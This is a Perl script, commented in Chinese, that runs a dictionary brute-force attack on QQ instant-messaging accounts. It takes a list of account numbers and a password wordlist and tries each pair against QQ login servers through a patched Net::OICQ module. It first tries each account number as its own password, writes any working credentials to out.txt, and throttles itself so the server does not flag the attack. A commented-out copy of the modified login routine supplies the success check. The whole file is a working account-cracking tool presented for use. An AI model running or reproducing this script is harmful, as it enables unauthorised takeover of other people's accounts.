#!/usr/bin/env perl
use strict;
use Net::OICQ::TextConsole;
#print "Crypt::OICQ version $Crypt::OICQ::VERSION, Net::OICQ version $Net::OICQ::VERSION/n";
print "暴力扫描QQ用户列表密码!/n=============================/n";
my $usage = <<'EOF';
Usage:
qq_pwd.pl 用户列表文件 密码字典文件
EOF
my $uid_file = $ARGV[0] or die '请出入用户列表文件名称!';
my $dic_file = $ARGV[1] or die '请出入破解字典文件名称!';
my $invisible= 0;
my $udp = 0;
my $debug = 0;
my $mode = $invisible ? 'Invisible' : 'Normal';
my $proto = $udp ? 'udp' : 'tcp';
$| = 1;
my ($uid, $pwd, @a_uid, @a_pwd);
#打开QQ号码段文件
#每行一个QQ号码
open UID_FILE,$uid_file or die "不能打开文件:$uid_file $!/n";
@a_uid = <UID_FILE>;
close UID_FILE;
#打开暴力破解字典文件
#每行一个密码
open PWD_FILE,$dic_file or die "不能打开文件:$dic_file $!/n";
@a_pwd = <PWD_FILE>;
close PWD_FILE;
foreach $uid (@a_uid){
chomp $uid;
next if $uid eq '';
print '$uid=',$uid,"/n";
#首先使用QQ本身号码测试一次
print '$pwd=',$uid,"/n";
&check_pwd($uid, $pwd, $mode, $proto);
&prevent_blank;
foreach $pwd (@a_pwd){
chomp $pwd;
next if $pwd eq '';
print '$pwd=',$pwd,"/n";
&check_pwd($uid, $pwd, $mode, $proto);
&prevent_blank;
}
}
#检查QQ号码
sub check_pwd {
my ($_uid, $_pwd, $_mode, $_proto) = @_;
my $oicq = new Net::OICQ;
$oicq->{EventQueueSize} = 100;
$oicq->{FontSize} = '10'; # This can be random
$oicq->{FontColor} = 'random';
$oicq->{Debug} = $debug;
$oicq->login($_uid, $_pwd, $_mode, $_proto) or warn "Failed to login./n";
if ( $oicq->{Login_Status} != 0 ) { #$oicq->{Login_Status}为我添加到OICQ.pm中的增强,返回登录状态
print 'Login_Status=',$oicq->{Login_Status},"/n";
print 'login_Desc=',$oicq->{Login_Desc},"/n";
}else{
print "用户密码正确:$_pwd/n";
$oicq->logout;
open OUTFILE,'>>out.txt' or die "不能输出文件!/n";
print OUTFILE "uid=$_uid/tpwd=$_pwd/n";
close OUTFILE;
}
}
#防止被服务器列入攻击列表
sub prevent_blank {
my $sleep_sec = '10';
for (my $sec=0; $sec <= $sleep_sec; $sec++) {
#print "sleep $sec second !/n";
print $sec,' ';
sleep 1;
}
}
#END { defined $oicq && defined $oicq->{Socket} && $oicq->logout }
#OICQ.pm
#our $Login_Status;
#sub login {
# my ($self, $id, $pw, $mode, $proto, $proxy) = @_;
# $self->set_user($id, $pw);
# $self->{Key} = "";
# $| = 1;
#
# if (defined $mode && exists $ConnectMode{$mode}) {
# $self->log_t("login as $id in $mode mode");
# $self->{ConnectMode} = $mode;
# } else {
# $self->log_t("login as $id, default to invisible mode");
# $self->{ConnectMode} = 'Invisible';
# }
# # Default to tcp connection
# $proto = 'tcp' unless defined($proto) && $proto eq 'udp';
# my @servers = $self->get_servers($proto);
# my $login_packet;
# SVR: foreach my $svr (@servers) {
# $self->mesg("Connecting to $proto server $svr...");
# my $socket = $self->connect($proto, $svr, $proxy);
# next SVR unless defined $socket;
# $self->mesg("socket created...") if $self->{Debug};
#
# unless ($login_packet) {
# my $token = $self->get_login_token($svr, $proto, $proxy);
# next SVR unless $token;
# $login_packet = $self->build_login_packet($token);
# }
# my $plain = $self->decrypt_login_response($login_packet);
# unless(defined $plain) {
# $login_packet = undef;
# next SVR;
# }
# $self->mesg("decrypted login resp: ", unpack("H*", $plain), "/n") if $self->{Debug};
# my $login = ord($plain);
# if ($login == 0) { # login successfull
# $self->{Key} = substr($plain, 1, 0x10);
# $self->{Addr} = $self->show_address(substr($plain, 0x15, 6));
# $self->{LoginTime} = unpack('N', substr($plain, 0x21, 4));
# $self->{Addr2} = $self->show_address(substr($plain, 0x7b, 4));
# $self->{LoginTime2} = unpack('N', substr($plain, 0x7f, 4));
# $self->mesg("ok./n");
# $self->{Login_Status} = $login; #zhangdl 添加,以便获取用户登录的失败状态
# $self->{Login_Desc} = $plain; #zhangdl 每个登录状态后均返回登录描述
# last SVR;
# } elsif ($login == 1) { # redirect to another server
# $svr = $self->show_address(substr($plain, 5, 6));
# ($self->{SvrIP}, $self->{SvrPort}) = split(/:/, $svr);
# $self->{Socket} = undef;
# $self->log_t("redirected to server $svr");
# $self->mesg(" redirected./n");
# $self->{Login_Status} = $login;
# $self->{Login_Desc} = $plain;
# redo SVR;
# } elsif ($login == 9 or $login == 5) { # wrong password
# $self->mesg("$plain/nError code $login/n");
# $self->{Login_Status} = $login;
# $self->{Login_Desc} = $plain;
# last SVR;
# } elsif ($login == 10) { # redirect to another server
# $svr = $self->show_address(substr($plain, -4));
# $self->mesg("redirected to server $svr (code $login)./n");
# $self->{SvrIP} = $svr;
# $self->{Socket} = undef;
# $socket = undef;
# $self->{Login_Status} = $login;
# $self->{Login_Desc} = $plain;
# redo SVR;
# } else {
# my $h = unpack("H*", $plain);
# $self->mesg("failed with error code $login/n$h/n");
# $self->{Login_Status} = $login;
# $self->{Login_Desc} = $plain;
# last SVR;
# }
# }
#
# return 0 unless $self->{Key};
#
# # Make sure we logout when control-C is pressed
# $SIG{INT} = sub { $self->logout; exit 1 };
# # Prepare LogoutPacket for logout
# $self->{LogoutPacket} = $self->build_logout_packet;
# $self->{LastKeepaliveTime} = time;
#
# return 1;
#}